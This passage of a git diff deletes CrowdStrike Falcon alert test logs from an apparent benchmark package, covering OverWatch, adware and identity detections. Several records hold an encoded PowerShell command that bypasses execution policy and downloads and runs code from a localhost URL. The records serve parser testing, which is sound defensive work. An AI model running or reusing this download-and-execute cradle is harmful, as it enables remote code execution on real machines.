QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} -{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log deleted file mode 100644 index c0e095d6dd..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log +++ /dev/null @@ -1,10 +0,0 @@ -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} -{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_n